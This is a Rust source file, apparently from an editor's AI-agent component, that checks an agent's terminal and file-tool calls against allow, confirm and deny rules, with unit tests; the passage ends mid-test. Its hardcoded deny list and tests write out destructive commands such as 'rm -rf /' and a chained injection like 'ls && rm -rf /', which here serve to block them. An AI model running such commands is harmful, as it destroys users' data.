1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Zed cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::AgentTool;
562 use crate::pattern_extraction::extract_terminal_pattern;
563 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DockPosition, NotifyWhenAgentWaiting};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 flexible: true,
575 default_width: px(300.),
576 default_height: px(600.),
577 default_model: None,
578 inline_assistant_model: None,
579 inline_assistant_use_streaming_tools: false,
580 commit_message_model: None,
581 thread_summary_model: None,
582 inline_alternatives: vec![],
583 favorite_models: vec![],
584 default_profile: AgentProfileId::default(),
585 profiles: Default::default(),
586 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
587 play_sound_when_agent_done: false,
588 single_file_review: false,
589 model_parameters: vec![],
590 enable_feedback: false,
591 expand_edit_card: true,
592 expand_terminal_card: true,
593 cancel_generation_on_terminal_stop: true,
594 use_modifier_to_send: true,
595 message_editor_min_lines: 1,
596 tool_permissions,
597 show_turn_stats: false,
598 new_thread_location: Default::default(),
599 sidebar_side: Default::default(),
600 thinking_display: Default::default(),
601 }
602 }
603
604 fn pattern(command: &str) -> &'static str {
605 Box::leak(
606 extract_terminal_pattern(command)
607 .expect("failed to extract pattern")
608 .into_boxed_str(),
609 )
610 }
611
612 struct PermTest {
613 tool: &'static str,
614 input: &'static str,
615 mode: Option<ToolPermissionMode>,
616 allow: Vec<(&'static str, bool)>,
617 deny: Vec<(&'static str, bool)>,
618 confirm: Vec<(&'static str, bool)>,
619 global_default: ToolPermissionMode,
620 shell: ShellKind,
621 }
622
623 impl PermTest {
624 fn new(input: &'static str) -> Self {
625 Self {
626 tool: TerminalTool::NAME,
627 input,
628 mode: None,
629 allow: vec![],
630 deny: vec![],
631 confirm: vec![],
632 global_default: ToolPermissionMode::Confirm,
633 shell: ShellKind::Posix,
634 }
635 }
636
637 fn tool(mut self, t: &'static str) -> Self {
638 self.tool = t;
639 self
640 }
641 fn mode(mut self, m: ToolPermissionMode) -> Self {
642 self.mode = Some(m);
643 self
644 }
645 fn allow(mut self, p: &[&'static str]) -> Self {
646 self.allow = p.iter().map(|s| (*s, false)).collect();
647 self
648 }
649 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
650 self.allow = p.iter().map(|s| (*s, true)).collect();
651 self
652 }
653 fn deny(mut self, p: &[&'static str]) -> Self {
654 self.deny = p.iter().map(|s| (*s, false)).collect();
655 self
656 }
657 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
658 self.deny = p.iter().map(|s| (*s, true)).collect();
659 self
660 }
661 fn confirm(mut self, p: &[&'static str]) -> Self {
662 self.confirm = p.iter().map(|s| (*s, false)).collect();
663 self
664 }
665 fn global_default(mut self, m: ToolPermissionMode) -> Self {
666 self.global_default = m;
667 self
668 }
669 fn shell(mut self, s: ShellKind) -> Self {
670 self.shell = s;
671 self
672 }
673
674 fn is_allow(self) {
675 assert_eq!(
676 self.run(),
677 ToolPermissionDecision::Allow,
678 "expected Allow for '{}'",
679 self.input
680 );
681 }
682 fn is_deny(self) {
683 assert!(
684 matches!(self.run(), ToolPermissionDecision::Deny(_)),
685 "expected Deny for '{}'",
686 self.input
687 );
688 }
689 fn is_confirm(self) {
690 assert_eq!(
691 self.run(),
692 ToolPermissionDecision::Confirm,
693 "expected Confirm for '{}'",
694 self.input
695 );
696 }
697
698 fn run(&self) -> ToolPermissionDecision {
699 let mut tools = collections::HashMap::default();
700 tools.insert(
701 Arc::from(self.tool),
702 ToolRules {
703 default: self.mode,
704 always_allow: self
705 .allow
706 .iter()
707 .map(|(p, cs)| {
708 CompiledRegex::new(p, *cs)
709 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
710 })
711 .collect(),
712 always_deny: self
713 .deny
714 .iter()
715 .map(|(p, cs)| {
716 CompiledRegex::new(p, *cs)
717 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
718 })
719 .collect(),
720 always_confirm: self
721 .confirm
722 .iter()
723 .map(|(p, cs)| {
724 CompiledRegex::new(p, *cs)
725 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
726 })
727 .collect(),
728 invalid_patterns: vec![],
729 },
730 );
731 ToolPermissionDecision::from_input(
732 self.tool,
733 &[self.input.to_string()],
734 &ToolPermissions {
735 default: self.global_default,
736 tools,
737 },
738 self.shell,
739 )
740 }
741 }
742
743 fn t(input: &'static str) -> PermTest {
744 PermTest::new(input)
745 }
746
747 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
748 ToolPermissionDecision::from_input(
749 TerminalTool::NAME,
750 &[input.to_string()],
751 &ToolPermissions {
752 default: global_default,
753 tools: collections::HashMap::default(),
754 },
755 ShellKind::Posix,
756 )
757 }
758
759 // allow pattern matches
760 #[test]
761 fn allow_exact_match() {
762 t("cargo test").allow(&[pattern("cargo")]).is_allow();
763 }
764 #[test]
765 fn allow_one_of_many_patterns() {
766 t("npm install")
767 .allow(&[pattern("cargo"), pattern("npm")])
768 .is_allow();
769 t("git status")
770 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
771 .is_allow();
772 }
773 #[test]
774 fn allow_middle_pattern() {
775 t("run cargo now").allow(&["cargo"]).is_allow();
776 }
777 #[test]
778 fn allow_anchor_prevents_middle() {
779 t("run cargo now").allow(&["^cargo"]).is_confirm();
780 }
781
782 // allow pattern doesn't match -> falls through
783 #[test]
784 fn allow_no_match_confirms() {
785 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
786 }
787 #[test]
788 fn allow_no_match_global_allows() {
789 t("python x.py")
790 .allow(&[pattern("cargo")])
791 .global_default(ToolPermissionMode::Allow)
792 .is_allow();
793 }
794 #[test]
795 fn allow_no_match_tool_confirm_overrides_global_allow() {
796 t("python x.py")
797 .allow(&[pattern("cargo")])
798 .mode(ToolPermissionMode::Confirm)
799 .global_default(ToolPermissionMode::Allow)
800 .is_confirm();
801 }
802 #[test]
803 fn allow_no_match_tool_allow_overrides_global_confirm() {
804 t("python x.py")
805 .allow(&[pattern("cargo")])
806 .mode(ToolPermissionMode::Allow)
807 .global_default(ToolPermissionMode::Confirm)
808 .is_allow();
809 }
810
811 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
812 #[test]
813 fn deny_blocks() {
814 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
815 }
816 // global default: allow does NOT bypass user-configured deny rules
817 #[test]
818 fn deny_not_bypassed_by_global_default_allow() {
819 t("rm -rf ./temp")
820 .deny(&["rm\\s+-rf"])
821 .global_default(ToolPermissionMode::Allow)
822 .is_deny();
823 }
824 #[test]
825 fn deny_blocks_with_mode_allow() {
826 t("rm -rf ./temp")
827 .deny(&["rm\\s+-rf"])
828 .mode(ToolPermissionMode::Allow)
829 .is_deny();
830 }
831 #[test]
832 fn deny_middle_match() {
833 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
834 }
835 #[test]
836 fn deny_no_match_falls_through() {
837 t("ls -la")
838 .deny(&["rm\\s+-rf"])
839 .mode(ToolPermissionMode::Allow)
840 .is_allow();
841 }
842
843 // confirm pattern matches
844 #[test]
845 fn confirm_requires_confirm() {
846 t("sudo apt install")
847 .confirm(&[pattern("sudo")])
848 .is_confirm();
849 }
850 // global default: allow does NOT bypass user-configured confirm rules
851 #[test]
852 fn global_default_allow_does_not_override_confirm_pattern() {
853 t("sudo reboot")
854 .confirm(&[pattern("sudo")])
855 .global_default(ToolPermissionMode::Allow)
856 .is_confirm();
857 }
858 #[test]
859 fn confirm_overrides_mode_allow() {
860 t("sudo x")
861 .confirm(&["sudo"])
862 .mode(ToolPermissionMode::Allow)
863 .is_confirm();
864 }
865
866 // confirm beats allow
867 #[test]
868 fn confirm_beats_allow() {
869 t("git push --force")
870 .allow(&[pattern("git")])
871 .confirm(&["--force"])
872 .is_confirm();
873 }
874 #[test]
875 fn confirm_beats_allow_overlap() {
876 t("deploy prod")
877 .allow(&["deploy"])
878 .confirm(&["prod"])
879 .is_confirm();
880 }
881 #[test]
882 fn allow_when_confirm_no_match() {
883 t("git status")
884 .allow(&[pattern("git")])
885 .confirm(&["--force"])
886 .is_allow();
887 }
888
889 // deny beats allow
890 #[test]
891 fn deny_beats_allow() {
892 t("rm -rf ./tmp/x")
893 .allow(&["/tmp/"])
894 .deny(&["rm\\s+-rf"])
895 .is_deny();
896 }
897
898 #[test]
899 fn deny_beats_confirm() {
900 t("sudo rm -rf ./temp")
901 .confirm(&["sudo"])
902 .deny(&["rm\\s+-rf"])
903 .is_deny();
904 }
905
906 // deny beats everything
907 #[test]
908 fn deny_beats_all() {
909 t("bad cmd")
910 .allow(&["cmd"])
911 .confirm(&["cmd"])
912 .deny(&["bad"])
913 .is_deny();
914 }
915
916 // no patterns -> default
917 #[test]
918 fn default_confirm() {
919 t("python x.py")
920 .mode(ToolPermissionMode::Confirm)
921 .is_confirm();
922 }
923 #[test]
924 fn default_allow() {
925 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
926 }
927 #[test]
928 fn default_deny() {
929 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
930 }
931 // Tool-specific default takes precedence over global default
932 #[test]
933 fn tool_default_deny_overrides_global_allow() {
934 t("python x.py")
935 .mode(ToolPermissionMode::Deny)
936 .global_default(ToolPermissionMode::Allow)
937 .is_deny();
938 }
939
940 // Tool-specific default takes precedence over global default
941 #[test]
942 fn tool_default_confirm_overrides_global_allow() {
943 t("x")
944 .mode(ToolPermissionMode::Confirm)
945 .global_default(ToolPermissionMode::Allow)
946 .is_confirm();
947 }
948
949 #[test]
950 fn no_rules_uses_global_default() {
951 assert_eq!(
952 no_rules("x", ToolPermissionMode::Confirm),
953 ToolPermissionDecision::Confirm
954 );
955 assert_eq!(
956 no_rules("x", ToolPermissionMode::Allow),
957 ToolPermissionDecision::Allow
958 );
959 assert!(matches!(
960 no_rules("x", ToolPermissionMode::Deny),
961 ToolPermissionDecision::Deny(_)
962 ));
963 }
964
965 #[test]
966 fn empty_input_no_match() {
967 t("")
968 .deny(&["rm"])
969 .mode(ToolPermissionMode::Allow)
970 .is_allow();
971 }
972
973 #[test]
974 fn empty_input_with_allow_falls_to_default() {
975 t("").allow(&["^ls"]).is_confirm();
976 }
977
978 #[test]
979 fn multi_deny_any_match() {
980 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
981 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
982 }
983
984 #[test]
985 fn multi_allow_any_match() {
986 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
987 }
988 #[test]
989 fn multi_none_match() {
990 t("python x")
991 .allow(&["^cargo", "^npm"])
992 .deny(&["rm"])
993 .is_confirm();
994 }
995
996 // tool isolation
997 #[test]
998 fn other_tool_not_affected() {
999 let mut tools = collections::HashMap::default();
1000 tools.insert(
1001 Arc::from(TerminalTool::NAME),
1002 ToolRules {
1003 default: Some(ToolPermissionMode::Deny),
1004 always_allow: vec![],
1005 always_deny: vec![],
1006 always_confirm: vec![],
1007 invalid_patterns: vec![],
1008 },
1009 );
1010 tools.insert(
1011 Arc::from(EditFileTool::NAME),
1012 ToolRules {
1013 default: Some(ToolPermissionMode::Allow),
1014 always_allow: vec![],
1015 always_deny: vec![],
1016 always_confirm: vec![],
1017 invalid_patterns: vec![],
1018 },
1019 );
1020 let p = ToolPermissions {
1021 default: ToolPermissionMode::Confirm,
1022 tools,
1023 };
1024 assert!(matches!(
1025 ToolPermissionDecision::from_input(
1026 TerminalTool::NAME,
1027 &["x".to_string()],
1028 &p,
1029 ShellKind::Posix
1030 ),
1031 ToolPermissionDecision::Deny(_)
1032 ));
1033 assert_eq!(
1034 ToolPermissionDecision::from_input(
1035 EditFileTool::NAME,
1036 &["x".to_string()],
1037 &p,
1038 ShellKind::Posix
1039 ),
